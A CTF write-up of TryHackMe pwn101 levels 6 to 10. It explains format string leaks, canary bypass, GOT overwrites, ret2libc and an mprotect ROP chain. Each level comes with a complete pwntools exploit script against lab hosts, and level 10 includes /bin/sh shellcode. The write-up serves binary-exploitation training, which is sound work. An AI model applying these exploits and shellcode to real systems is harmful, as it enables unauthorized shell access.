pwn101 part 2

Welcome back, today we’re gonna go through the second half of the challenges from TryHackMe’s website:

thm platform

Level 6

level 6 being ran

This one isnt vulnerable to a classic BOF, but to something called a format string vulnerability. What’s basically happening is that instead of having a normal printf("%s", examplevar) we have something more like printf("%s") . printf was given a format specifier, but no source. So in return printf will make its own justice and take its source from the stack. We specify %lX as this is the format specifier to print a long hex value, which is what a memory address always looks like.

For this one, the flag was located on the stack, so we can just combine %lX with a positional n$ like so %5$lX which will print the fifth value on the stack. From here we can just decode the ascii values and get out flag. Here’s the script for it:

from pwn import *

context.binary = binary = ELF("./challenge6")

payload = "%6$lX.%7$lX.%8$lX.%9$lX.%10$lX.%11$lX.%12$lX."

p = remote("10.10.71.236", 9006)
p.recv()
p.recv()
p.sendline(payload)
output = p.recv().strip().split(b" ")[1].split(b".")

flag = ""

for word in output:
    flag += bytes.fromhex(word.decode("utf-8"))[::-1].decode("utf-8")
print("flag: {}".format(flag))

level 6 solved

Level 7

level 7 being ran

For our 7th challenge we can see towards to end of our output the following stack smashing detected... This is the canary check being verbose and telling us it failed to validate. By checking the binaries security measures we can confirm that this is indeed the case:

deadeye@Win-10:~/Documents/cracks/pwn101/challenge7$ checksec --file=challenge7 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   74 Symbols        No    0               2               challenge7

A stack canary works a lot like a miner’s canary by alerting the program of danger and preventing execution if it gets overwritten. The canary is positioned right under rbp and consists of a “magic value” which is verified at runtime. canary visualization The solution is to somehow leak the canary at every execution and then place it back where it belongs on the stack. Luckily for us, this binary is also vulnerable to a format string vulnerability, so we can leak all the values from the stack. But we still have one problem.. our input originates from an unknown position on the stack, so how can we know how far we are from the base? Well an easy way to find out is by inputting a unique string and then spamming format specifiers until we loop around on the stack. The buffer is rather limiting so we will use positional n$’s as we go: determining our inputs position The address in which we see 44434241 indicated our inputs source on the stack, which in this case was 6. We then grab the nearest functions offset from our input that returns to our program (and not libc!) and the canaries offset from our input on the stack using a disassembler like gdb and then add that offset up with 6. In our case the nearest function that returns back to the program is ironically __libc_csu_init located at an offset of 3 and the canary is located at an offset of 7. Adding all of these up we get the 9 and 13, which we add to our format string specifier to leak both addresses during execution. We got that libc address so we can subtract its static value (which in this case is 0xa90) from its dynamic value we obtained to get the dynamic base memory address from which all other functions stem.We then have a ret2win style scenario with the get_streak() function which executes /bin/sh:

from pwn import *

context.binary = binary = ELF("./challenge7", checksec=False)
context.log_level = "debug"

static_libc_csu_address = binary.symbols.__libc_csu_init

print("Address of static libc csu init: {}".format(hex(static_libc_csu_address)))

#p = process()
p = remote("10.10.102.203", 9007)
p.recvuntil(b"streak?")

payload = b"%10$lX.%13$lX"
p.sendline(payload)

p.recvuntil(b"streak:")
p.recv()

output = p.recv().split(b"\n")[0]

dynamic_libc_csu_address = int(output.split(b".")[0].strip(), 16)
canary = int(output.split(b".")[1].strip(), 16)

print("libc address is: {}\nCanary is: {}".format(hex(dynamic_libc_csu_address), hex(canary)))

dynamic_base_address = dynamic_libc_csu_address - static_libc_csu_address
binary.address = dynamic_base_address


'''
second read writes from rbp0x20
canary is at rbp-0x8
'''

# 0x20 - 0x8 = 0x18
dynamic_get_streak = binary.symbols.get_streak
rop = ROP(binary)
ret_gadget = rop.find_gadget(['ret'])[0]
payload = b"A" * 0x18 + p64(canary) + b"B"*8 + p64(ret_gadget) + p64(dynamic_get_streak)
p.sendline(payload)
p.interactive()
We use a ret gadget to "ret twice" because of the remote systems iffy stack allignment caused by its OS version.

Level 8

pwn 8 being ran

This one is based on the techniques learned previously, the only difference being that this one isnt compiled as a PIE (position independent executable) meaning the addresses dont change between executions. Keep in mind however that in order to exploit this binary you need to replace the GOT values from the got.plt section of the binary to call the holidays() function in order to pop a shell. For understanding GOT and PLT I recommend this amazing video.

from pwn import *

context.binary = binary = ELF("./challenge8", checksec=False)

got_puts_address = binary.got.puts

# input is 10 away in stack

junk_payload = b"A"*0x12

payload = b"%64X%13$n" + b"%4603X%14$hnAAA" + p64(got_puts_address+2) + p64(got_puts_address)

#with open("payload", "wb") as f:
#   f.write(junk_payload)
#   f.write(payload)

#p = process()
p = remote("10.10.153.131", 9008)
p.recv()
p.send(junk_payload)
p.send(payload)
p.interactive()

Level 9

level 9 being ran For level 9 we once again apply what we learned, including overwriting the got tables and messing with plt in order to perform a ret2libc attack, in which we swap the address of lets say gets() with system(). Diving further into the topic is out of this small writeup’s scope, so here’s a full explanation to it all: ROP & applying ROP to this binary

from pwn import *

context.binary = binary = ELF("./challenge9", checksec=False)
context.log_level = "debug"

'''
rbx-0x20 using gets
'''

ret = p64(0x000000000040101a)
pop_rdi = p64(0x00000000004012a3)
main_address = p64(binary.symbols.main)

plt_puts_address = p64(binary.plt.puts)
got_puts_address = p64(binary.got.puts)
got_gets_address = p64(binary.got.gets)
got_setvbuf_address = p64(binary.got.setvbuf)

payload1 = b"A" * 0x20
payload1 += b"B" * 0x8
payload1 += pop_rdi + got_puts_address + plt_puts_address
payload1 += pop_rdi + got_gets_address + plt_puts_address
payload1 += pop_rdi + got_gets_address + plt_puts_address
payload1 += main_address

p = process()
#p = remote("10.10.107.112", 9009)
p.recvuntil(b"ahead")
p.recv()
p.sendline(payload1)
output = p.recv().split(b"\n")

leaked_puts_address = u64(output[0].ljust(8, b"\x00"))
leaked_gets_address = u64(output[1].ljust(8, b"\x00"))
leaked_setvbuf_address = u64(output[2].ljust(8, b"\x00"))

print("puts address: {}".format(str(hex(leaked_puts_address))))
print("gets address: {}".format(str(hex(leaked_gets_address))))
print("setvbuf address: {}".format(str(hex(leaked_setvbuf_address))))

payload = b"A" * 0x20
payload += b"B" * 0x8
payload += ret + pop_rdi + p64(leaked_gets_address + 0x133c8a)
payload += p64(leaked_gets_address - 0x30c40)

p.sendline(payload)
p.interactive()

Level 10

level 10 being ran

Now theres multiple ways to complete this challenge, one way would be to make use of ROP chains which you can find lots of in the binary itself as it is statically linked. We can use ROPgadget for this:

ROPgadget --binary challenge10 --depth 12 > gadgets.txt

We can then use the function mprotect() to make a page of memory executable, passing the arguments to mprotect( ) through the registers (how it works on x64 arch) and then insert the same shellcode from part 1 in that page, and then return to it with another gadget:

from pwn import *

'''
gets doesnt have a limit in 0x20 rbp

__mprotect (addr, len, protection)

len = 0x1000
protection = 0x7
addr = 0x004bfa70 (libcstackend)
'''
context.binary = binary = ELF("./challenge10", checksec=False)
pop_rdi_ret = p64(0x000000000040191a)
pop_rsi_ret = p64(0x000000000040f4de)
pop_rdx_ret = p64(0x000000000040181f)
jmp_rsp = p64(0x0000000000463c43)
ret = p64(0x00401eac)
libc_stack_end = p64(binary.symbols.__libc_stack_end)
main = p64(binary.symbols.main)
puts = p64(binary.symbols._IO_puts)
mprotect = p64(binary.symbols.mprotect)



#context.log_level = "debug"

#p = process()
p = remote("10.10.133.2", 9010)
p.recvuntil(b"libc")
p.recv()

padding = b"A" * 0x20 + b"B" * 0x8

payload = padding
payload += pop_rdi_ret
payload += libc_stack_end
payload += puts
payload += main

p.sendline(payload)

stack_end_address = p.recv().split(b"\n")[0].ljust(8,b"\x00")
print(f"End of stack address is: {hex(u64(stack_end_address))}")

stack_alligned_address = u64(stack_end_address)&~0xfff
print(f"Alligned stack address is: {hex(stack_alligned_address)}")


shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"

payload = padding
payload += pop_rdi_ret + p64(stack_alligned_address)
payload += pop_rsi_ret + p64(0x1000)
payload += pop_rdx_ret + p64(0x7)
payload += mprotect
payload += jmp_rsp + shellcode

p.sendline(payload)
p.interactive()

That was it for the TryHackMe pwn 101 room, see you soon for the next topic we will approach!